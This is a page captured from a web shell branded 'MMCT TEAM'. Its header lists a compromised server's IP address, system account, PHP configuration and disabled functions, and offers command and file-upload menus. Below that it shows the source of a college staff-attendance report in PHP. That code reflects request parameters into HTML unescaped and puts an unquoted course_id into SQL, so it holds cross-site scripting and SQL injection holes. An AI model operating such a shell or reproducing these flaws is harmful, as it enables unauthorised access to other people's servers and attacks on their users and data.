MMCT TEAM
Server IP : 103.191.208.50  /  Your IP : 216.73.216.226
Web Server : LiteSpeed
System : Linux orion.herosite.pro 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User : celkcksm ( 1031)
PHP Version : 5.6.40
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home/celkcksm/bmtrust.org.in/../websites/attendance.rmpharma.in/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/celkcksm/bmtrust.org.in/../websites/attendance.rmpharma.in/teacher_attendance_report.php
<?php 
include ("include/makeSession.php");
$menu_string=mysqli_fetch_array(mysqli_query($con,"select * from admin where id='".$_SESSION["user_id"]."'"))['menuper'];
$menu_arr=explode(',',$menu_string);
if(!in_array('Attendance',$menu_arr)){
	header("location:index.php");
}
$_SESSION['page_name']="Attendance";
include('include/function.php');
include("include/header.php");
include("include/sidebar.php");

?>
<style>
    #loader{
        display:none;
        position:fixed;
        z-index:1000;
        top:0;
        left:0;
        width:100%;
        height:100%;
        background-image:url(images/uploads/loader.gif);
        background-position:50% 50%;
        background-color:rgba(255,255,255,0.6);
        background-repeat:no-repeat;
    }
    body.loading{
        overflow:hidden;
    }
    body.loading #loader{
        display:block;
    }
</style>
<input type="hidden" name="collegename" value="<?=$college['collagename'];?>" />
<input type="hidden" name="location" value="<?=$college['collageaddr'];?>" />
<div id="loader"></div>
<div class="content-wrapper">
    <section class="content-header">
        <h1>Staff Attendance Form <small></small> </h1>
        <ol class="breadcrumb">
            <li><a href="#"><i class="fa fa-dashboard"></i> Home</a></li>
            <li><a href="#">Staff Attendance Form</a></li>
        </ol> 
        <?php if(!empty($_SESSION['msg'])){
        $msg=$_SESSION["msg"];
        echo '<div class="col-md-8">
                <div class="alert alert-success alert-dismissible">
                <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
                '.$msg.'
                </div>'; 
        $_SESSION["msg"]='';} ?>
    </section>
    <section class="content">
        <div class="row">
            <div class="col-md-12">
                <div class="box box-info">
                    <form method="post" action="" name="addcategory" id="addcategory" enctype="multipart/form-data"  role="form">
                        <div class="box-header">
                            <h3 class="box-title">Staff Attendance Report <small></small></h3>
                            <!-- tools box -->
                            <div class="pull-right box-tools">
                                <button class="btn btn-info btn-sm" data-widget="collapse" data-toggle="tooltip" title="Collapse"><i class="fa fa-minus"></i></button>
                                <button class="btn btn-info btn-sm" data-widget="remove" data-toggle="tooltip" title="Remove"><i class="fa fa-times"></i></button>
                            </div><!-- /. tools -->
                        </div><!-- /.box-header -->
                        <div class="box-body pad">
                            <div class="col-md-12">
                                <div class="row">
                                    <div class="form-group col-md-4">
                                        <label>Starting Date *</label>                 
                                        <input name="start" value="<?php if(!empty($_REQUEST['start'])){ echo $_REQUEST['start'];}?>" type="date" class="form-control" required>
                                    </div>
                                    <div class="form-group col-md-4">
                                        <label>Ending Date *</label>                 
                                        <input name="end" value="<?php if(!empty($_REQUEST['end'])){ echo $_REQUEST['end'];}?>" type="date" class="form-control" required>
                                    </div>
                                </div>
                                <div class="row">
                                    <div class="form-group col-md-4">
                                        <label>Course *</label>
                                        <select name="course_id" class="form-control">
                                            <option value="">- - Select - -</option>
                                        <?php
                                            $courseQ=mysqli_query($con,"select id,name from course order by id desc");
                                            while($courseR=mysqli_fetch_array($courseQ)){
                                        ?>
                                            <option value="<?=$courseR['id'];?>" <?php if(!empty($_REQUEST['course_id'])&&$_REQUEST['course_id']==$courseR['id']){ echo "selected";}?>><?=$courseR['name'];?></option>
                                        <?php
                                            }
                                        ?>
                                        </select>
                                    </div>
                                </div>
                                <div class="row">
                                    <div class="form-group col-md-4">
                                        <input name="submit" value="Search" type="submit" class="form-control btn btn-primary" required>
                                    </div>
                                </div>
                            </div>
                            <div class="col-md-12">
                                <center>
                                    <span class="count" style="color:green;">
                                        <small>Present: </small>
                                        <span id="present">0</span>
                                    </span>
                                    <span class="count" style="color:red;">
                                        <small>Absent: </small>
                                        <span id="absent">0</span>
                                    </span>
                                    <span class="count" style="color:orange;">
                                        <small>MIS: </small>
                                        <span id="mis">0</span>
                                    </span>
                                    <span class="count" style="color:black;">
                                        <small>WO: </small>
                                        <span id="wo">0</span>
                                    </span>
                                </center>
                            </div>
                        </div>
                        <div class="box-header">
                            <h3 class="box-title">Staff Attendance Report </h3>
                        </div><!-- /.box-header -->
                        <div class="box-body table-responsive" >
            		  		<table id="example1" class="table table-bordered table-striped">
                                <thead>
                                    <tr>
                                        <th>Sr No</th>
                                        <th>Emp Code</th>
                                        <th>Emp Name</th>
                                        <th>Shift</th>
                                        <th>Course - Session</th>
                                        <th>In Time</th>
                                        <th>Out Time</th>
                                        <th>Shift Hrs</small></th>
                                        <th>Work Hrs</small></th>
                                        <th>Work Status</th>
                                        <th>Remarks</th>
                                    </tr> 
                                </thead>
                                <tbody>
                                    <?php
                                        $start=mysqli_real_escape_string($con,$_REQUEST['start']);
                                        $end=mysqli_real_escape_string($con,$_REQUEST['end']);
                                        $course_id=mysqli_real_escape_string($con,$_REQUEST['course_id']);
                                        $condition="";
                                        $condition1="";
                                        if(!empty($start)){
                                            $condition.=" AND date>='$start'";
                                        }if(!empty($end)){
                                            $condition.=" AND date<='$end'";
                                        }if(!empty($course_id)){
                                            $condition1.=" AND course_id=$course_id";
                                        }
                                        $q=mysqli_query($con,"select status,date from t_attendance
                                            where 1=1 $condition order by id asc");
                                        $timeR=mysqli_fetch_array(mysqli_query($con,"select in_time,out_time from time order by id desc limit 1"));
                                        $dateDiff = intval((strtotime($timeR['out_time'])-strtotime($timeR['in_time']))/60);
                                        $hours = intval($dateDiff/60);
                                        $minutes = $dateDiff%60;
                                        $x=0;
                                        while($r=mysqli_fetch_array($q)){?>
                                            <tr data-class="black">
                                                <td></td>
                                                <td><?=$r['date'];?></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                                <td></td>
                                            </tr>
                                        <?php
                                            $attendance=explode(",",$r['status']);
                                            for($i=0;$i<count($attendance)-1;$i++){
                                                if(explode("_",$attendance[$i])[1]==0){
                                                    $status="Absent";
                                                }else if(explode("_",$attendance[$i])[1]==1){
                                                    $status="Present";
                                                }else{
                                                    $status="WO";
                                                }
                                                if(explode("_",$attendance[$i])[4]=="mis"){
                                                    $status="MIS";
                                                }
                                                $teacherR=mysqli_fetch_array(mysqli_query($con,"select teacher.name,teacher.id,
                                                    course.name as course_name,registration_no
                                                    from teacher
                                                    left join course on course.id=teacher.course_id
                                                    where teacher.id=".explode("_",$attendance[$i])[0].$condition1));
                                                    if(!empty($teacherR['id'])){
                                                    ?>
                                                <tr>
                                                    <td><?=++$x;?></td>
                                                    <td><?=$teacherR['registration_no'];?></td>
                                                    <td><?=$teacherR['name'];?></td>
                                                    <td>General</td>
                                                    <td><?=$teacherR['course_name'];?></td>
                                                    <td><?php if($status=="Present"||$status=="MIS") echo explode("_",$attendance[$i])[2];?></td>
                                                    <td><?php if($status=="Present") echo explode("_",$attendance[$i])[3];?></td>
                                                    <td><?=$hours." HH ".$minutes." MM";?></td> 
                                                    <?php
                                                        if($status=="Present"){
                                                            $dateDiff1 = intval((strtotime(explode("_",$attendance[$i])[3])-strtotime(explode("_",$attendance[$i])[2]))/60);
                                                        }
                                                    ?>
                                                    <td><?php if($status=="Present") echo intval($dateDiff1/60)." HH ".($dateDiff1%60)." MM"; else echo "0 HH 00 MM";?></td>
                                                    <td class="status" <?php if($status=="Absent") echo "style='color:red;'"; else if ($status=="MIS") echo "style='color:orange;'"; ?>><?=$status;?></td>
                                                    <td></td>
                                                </tr>
                                    <?php
                                                    }
                                            }
                                        }
                                    ?>
                                </tbody>
                            </table>
                        </div><!-- /.box-body -->
                    </form>
                </div><!-- /.box -->
            </div><!-- /.col -->
        </div><!-- /.row -->
    </section><!-- /.content -->
</div>
<?php include('include/footer.php');?>
<!-- footer end -->
<script src="plugins/datatables/jquery.dataTables.min.js"  type="text/javascript"></script>
<script src="plugins/datatables/dataTables.bootstrap.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/dataTables.buttons.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/jszip.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/pdfmake.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/vfs_fonts.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.html5.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.print.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.colVis.min.js"  type="text/javascript"></script>
<script src="bootstrap/js/buttons.flash.min.js"  type="text/javascript"></script>
<script  type="text/javascript">
$(document).ready(function() {
    var present=0,absent=0;
    for(var i=0;i<$(".status").length;i++){
        switch($($(".status")[i]).html()){
            case "Present":
                present++;
            break;
            case "Absent":
                absent++;
            break;
            case "MIS":
                mis++;
            break;
            case "WO":
                wo++;
        }
    }
    $("#present").html(present);
    $("#absent").html(absent);
    $("#mis").html(mis);
    $("#wo").html(wo);
    $('#example1').DataTable({
        dom: 'Bfrtip',
        iDisplayLength: -1,
        "aaSorting": [],
        columnDefs: [
            {
                targets: 1,
                className: 'noVis'
            }
        ],
        buttons: [
            {
                extend: 'colvis',
                columns: ':not(.noVis)'
            }
        ],
		 buttons: [
		     'copy',
            {
                extend: 'pdf',
                title:' ',
                messageTop: function () {
                    return "Report from "+$("input[name='start']").val()+" to "+$("input[name='end']").val();
                },
                messageBottom: null,
                orientation: 'landscape',
                exportOptions: {
                    stripNewlines: false
                },
                
                customize: function (doc) {
                    doc.pageMargins = [50,50,50,50];
                    doc.defaultStyle.fontSize = 7;
                    doc.styles.tableHeader.fontSize = 7;
                    doc.styles.title.fontSize = 9;
                    // Remove spaces around page title
                    doc.content[0].text = doc.content[0].text.trim();
                    // Create a footer
                    doc['header']=(function(page, pages) {
                        return {
                            columns: [
                                'Company Name: '+$("input[name='collegename']").val(),
                                'Location: '+$("input[name='location']").val(),
                                {
                                    // This is the right column
                                    alignment: 'right',
                                    text: ['page ', { text: page.toString() },  ' of ', { text: pages.toString() }]
                                }
                            ],
                            margin: [50, 40]
                        }
                    });
                    // Styling the table: create style object
                    var objLayout = {};
                    // Horizontal line thickness
                    objLayout['hLineWidth'] = function(i) { return .5; };
                    // Vertikal line thickness
                    objLayout['vLineWidth'] = function(i) { return .5; };
                    // Horizontal line color
                    objLayout['hLineColor'] = function(i) { return '#aaa'; };
                    // Vertical line color
                    objLayout['vLineColor'] = function(i) { return '#aaa'; };
                    // Left padding of the cell
                    objLayout['paddingLeft'] = function(i) { return 4; };
                    // Right padding of the cell
                    objLayout['paddingRight'] = function(i) { return 4; };
                    // Inject the object in the document
                    doc.content[1].layout = objLayout;
                    doc.content[2].table.widths = [30, 40,130, 30, 90,34, 34, 40, 45, 33, "*"];
                    
                    ///color
                    var tblBody = doc.content[2].table.body;
                    $("#example1").find('tr').each(function (ix, row) {
                        var index = ix;
                        var rowElt = row;
                        if($(row).data("class")=="black"){
                            // $(row).find('th,td').each(function (ind, elt) {
                            //     //  if (elt.tagName === "TH") return;
                            //         tblBody[index][ind].color = "#000000";
                            //         tblBody[index][ind].fillColor = "#c9bfbf";
                            // });
                        }else{
                            $(row).find('th,td').each(function (ind, elt) {
                                //  if (elt.tagName === "TH") return;
                                    tblBody[index][ind].color = "#000000";
                                    tblBody[index][ind].fillColor = "#ffffff";
                            });
                        }
                    });
                }
            },
            {
                extend: 'print',
                messageTop: function () {
                    return "Report from "+$("input[name='start']").val()+" to "+$("input[name='end']").val();
                },
                messageBottom: null,
                exportOptions: {
                    stripHtml:false,
                    stripNewlines: false
                }
            },
            { extend: 'csv', text: 'Export to CSV',
                messageTop: function () {
                    return "Report from "+$("input[name='start']").val()+" to "+$("input[name='end']").val();
                },
                messageBottom: null,
                exportOptions: {
                    stripHtml:false,
                    stripNewlines: false
                } },
    		 { extend: 'excel', text: 'Export to Excel',
                messageTop: function () {
                    return "Report from "+$("input[name='start']").val()+" to "+$("input[name='end']").val();
                },
                messageBottom: null,
                exportOptions: {
                    stripHtml:false,
                    stripNewlines: false
                } }
        ]
    });
});
</script>
<script>
$(document).ready(function(){
});
</script>

MMCT - 2023